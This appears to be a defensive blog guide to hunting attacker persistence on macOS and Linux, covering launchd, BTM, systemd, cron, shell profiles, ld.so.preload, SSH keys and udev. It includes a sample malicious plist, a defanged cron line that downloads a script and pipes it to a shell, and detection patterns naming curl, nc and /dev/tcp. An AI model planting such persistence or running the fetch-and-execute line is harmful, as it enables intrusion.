Hunting Persistence on macOS and Linux: Where Attackers Hide and How to Find Them

The blind spot

Ask a SOC to hunt persistence and you get Run keys, scheduled tasks, services and WMI subscriptions. Ask the same SOC about the build servers, the Kubernetes nodes and the developers' MacBooks and the room goes quiet. Those machines hold cloud credentials, signing keys and source code, and attackers know the coverage there is thin.

The good news: persistence on Unix-like systems is mostly files in known places. Fewer registry-style abstractions, more text you can read, diff and baseline. The hunt is a matter of knowing the locations and knowing what normal looks like on your fleet.

The map

Platform Mechanism Primary locations ATT&CK
macOS Launch Agent ~/Library/LaunchAgents, /Library/LaunchAgents T1543.001
macOS Launch Daemon /Library/LaunchDaemons T1543.004
macOS Login Items BTM database, app bundle Contents/Library/LoginItems T1547.015
macOS Shell profile ~/.zshrc, ~/.zprofile, /etc/zshrc T1546.004
Linux systemd service /etc/systemd/system, ~/.config/systemd/user T1543.002
Linux systemd timer *.timer units T1053.006
Linux cron /etc/crontab, /etc/cron.d, /var/spool/cron T1053.003
Linux Shell profile ~/.bashrc, ~/.profile, /etc/profile.d/ T1546.004
Linux Dynamic linker hijack /etc/ld.so.preload, LD_PRELOAD T1574.006
Both SSH authorized keys ~/.ssh/authorized_keys T1098.004
Linux udev rules /etc/udev/rules.d T1546.017

Use the ATT&CK mapper to see these techniques in context and check which of them your detections already cover.

macOS

LaunchAgents and LaunchDaemons (T1543.001, T1543.004)

The workhorse of macOS persistence, used by everything from adware to targeted implants. An agent runs in the user's context when they log in; a daemon runs as root at boot. Both are property lists that point launchd at a program.

<?xml version="1.0" encoding="UTF-8"?>
<plist version="1.0">
<dict>
  <key>Label</key><string>com.apple.updates.helper</string>
  <key>ProgramArguments</key>
  <array><string>/Users/Shared/.cache/helper</string></array>
  <key>RunAtLoad</key><true/>
  <key>KeepAlive</key><true/>
</dict>
</plist>

Everything about that example is a tell: a com.apple. label outside /System, a binary in /Users/Shared under a hidden directory, KeepAlive to respawn after kill.

# List all non-system launch items with the program they run
for f in /Library/LaunchAgents/*.plist /Library/LaunchDaemons/*.plist \
         /Users/*/Library/LaunchAgents/*.plist; do
  prog=$(/usr/libexec/PlistBuddy -c 'Print :ProgramArguments:0' "$f" 2>/dev/null \
         || /usr/libexec/PlistBuddy -c 'Print :Program' "$f" 2>/dev/null)
  echo "$f -> $prog"
done

# Check the signature of each referenced binary
codesign -dv --verbose=2 /Users/Shared/.cache/helper 2>&1 | grep -E 'Authority|TeamIdentifier'

Hunt for: unsigned or ad-hoc signed programs, programs in /tmp, /Users/Shared, ~/Library/Application Support hidden directories, interpreters (bash, python3, osascript) with inline arguments, and labels impersonating Apple. /System/Library/Launch* is protected by SIP, so attackers are unlikely to land there on a healthy system.

Login Items and Background Task Management (T1547.015)

Since macOS 13 Ventura, Background Task Management (BTM) tracks login items, launch agents and daemons in a central database and notifies the user when one is added. For hunters, BTM is a gift: a single inventory of persistence with the responsible developer and team ID.

# Dump the BTM inventory (requires admin)
sudo sfltool dumpbtm

# BTM registration events in the unified log
log show --last 7d --predicate 'subsystem == "com.apple.backgroundtaskmanagement"' \
  | grep -i -E 'add|register'

EDRs built on the Endpoint Security framework also receive BTM launch item add events, which is the cleanest real-time signal for new macOS persistence. If your EDR exposes it, alert on additions whose team ID is not in your approved software list.

Also worth a look

  • Shell profiles: ~/.zshrc, ~/.zprofile, ~/.zshenv (T1546.004). Zsh is the default shell since Catalina.
  • Configuration profiles installed outside your MDM (profiles list), which can push settings and certificates.
  • Legacy StartupItems (T1037.005) and periodic scripts on older systems.
  • Authorization plugins in /Library/Security/SecurityAgentPlugins, rare but high impact.

Linux

systemd services and timers (T1543.002, T1053.006)

A unit file in /etc/systemd/system with WantedBy=multi-user.target is persistence that survives reboots and gets restarted on crash. User units in ~/.config/systemd/user need no root at all, especially when lingering is enabled for the account.

# Enabled units, newest files first
systemctl list-unit-files --state=enabled --no-pager
find /etc/systemd/system /usr/lib/systemd/system /home/*/.config/systemd/user \
     /root/.config/systemd/user \( -name '*.service' -o -name '*.timer' \) \
     -newermt '30 days ago' 2>/dev/null

# Timers and when they fire next
systemctl list-timers --all --no-pager

# Units whose ExecStart points to writable or odd locations
grep -rhE '^Exec(Start|StartPre|StartPost)=' /etc/systemd/system /home/*/.config/systemd/user 2>/dev/null \
  | grep -E '/tmp/|/dev/shm/|/var/tmp/|curl|wget|base64|bash -c'

Then verify package ownership: a unit file not owned by any package (dpkg -S or rpm -qf) and not deployed by your configuration management deserves a reason.

cron and at (T1053.003, T1053.002)

Still the most common Linux persistence in commodity intrusions, cryptominers above all. Check every source, not only crontab -l:

cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
ls -la /var/spool/cron/ /var/spool/cron/crontabs/ 2>/dev/null   # RHEL vs Debian paths
atq

Typical malicious entries fetch and pipe to a shell every few minutes: */5 * * * * curl -fsSL hxxp://198.51.100.23/x.sh | sh. When an entry's schedule is not obvious, paste it into the crontab parser to read when it actually runs. Entries running every minute, at reboot (@reboot), or under service accounts that should never have a crontab, are the priorities.

Shell configuration (T1546.004)

~/.bashrc, ~/.bash_profile, ~/.profile, /etc/profile, /etc/profile.d/*.sh, /etc/bash.bashrc. Executed on every interactive shell, which makes them ideal for credential capture (aliasing sudo to log passwords) and re-launching implants.

grep -nE 'curl|wget|nc |/dev/tcp|base64 -d|alias sudo|nohup|\(.*&\)' \
  /etc/profile /etc/profile.d/*.sh /etc/bash.bashrc /root/.bashrc /root/.profile \
  /home/*/.bashrc /home/*/.profile /home/*/.bash_profile 2>/dev/null

Dynamic linker hijacking (T1574.006)

/etc/ld.so.preload makes every dynamically linked process load the listed library. Userland rootkits use it to hide files, processes and network connections from the very tools you hunt with.

# On most systems this file should not exist
ls -la /etc/ld.so.preload && cat /etc/ld.so.preload

# Processes with LD_PRELOAD in their environment
grep -l LD_PRELOAD /proc/*/environ 2>/dev/null

Do not trust a possibly preloaded system's own tools. If ld.so.preload is populated, ls, ps and netstat may lie. Use statically linked binaries, read /proc directly, or better, examine a disk image or memory capture from outside.

SSH authorized keys (T1098.004)

Quiet, credential-free, and survives password resets. Attackers append their key, sometimes with a comment copied from a legitimate admin key.

for f in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do
  [ -f "$f" ] && echo "== $f ($(stat -c %y "$f"))" && \
  ssh-keygen -lf "$f"
done
grep -E '^\s*AuthorizedKeysFile' /etc/ssh/sshd_config /etc/ssh/sshd_config.d/*.conf 2>/dev/null

Compare fingerprints against your key inventory. Watch for command= options, keys on service accounts, and a changed AuthorizedKeysFile path pointing somewhere you would not look.

udev rules (T1546.017)

A rule in /etc/udev/rules.d can RUN+= a program when a device event fires, including events that happen at every boot. udev kills long-running children, so attackers chain to at, systemd-run or a backgrounded process. Rare, but almost never legitimate when it points outside vendor paths.

grep -rn 'RUN+=' /etc/udev/rules.d/ /lib/udev/rules.d/ 2>/dev/null | grep -vE '/lib/udev/|/usr/lib/udev/'

Also worth a look

Kernel modules (T1547.006), PAM modules (T1556.003), package manager hooks such as APT DPkg::Post-Invoke entries (T1546.016), new local accounts with UID 0 (T1136.001), and rc.local (T1037.004).

From one-off commands to continuous hunting

Commands on one host are triage. Hunting means fleet-wide, with a baseline.

-- osquery: launchd items on macOS not in /System
SELECT path, label, program, program_arguments, run_at_load
FROM launchd WHERE path NOT LIKE '/System/%';

-- osquery: crontab entries across users
SELECT * FROM crontab;

-- osquery: SSH keys per user
SELECT u.username, k.key_file, k.algorithm
FROM users u JOIN authorized_keys k USING (uid);

On Linux, an auditd file watch catches the write as it happens:

-w /etc/systemd/system/ -p wa -k persist_systemd
-w /etc/cron.d/ -p wa -k persist_cron
-w /var/spool/cron/ -p wa -k persist_cron
-w /etc/ld.so.preload -p wa -k persist_preload
-w /etc/udev/rules.d/ -p wa -k persist_udev
-w /root/.ssh/ -p wa -k persist_ssh

The principle is the same one we apply to living-off-the-land binaries on Windows: the mechanism is legitimate, so the signal is in what is new, where it lives, and what it runs.

What to do Monday

  • [ ] Export one week of inventory (launchd, BTM, systemd units, crontabs, authorized_keys) from your fleet and diff it daily.
  • [ ] Add auditd watches on the Linux persistence paths above; route to your SIEM.
  • [ ] Check whether your macOS EDR surfaces BTM additions and alert on unknown team IDs.
  • [ ] Alert on any /etc/ld.so.preload creation. There is rarely a good reason.
  • [ ] Reconcile SSH keys on servers against your key inventory; remove orphans.
  • [ ] Map what you covered in ATT&CK so the gaps are visible, not assumed.

Persistence is the part of an intrusion that has to touch disk and has to survive. That makes it the most patient hunter's best target.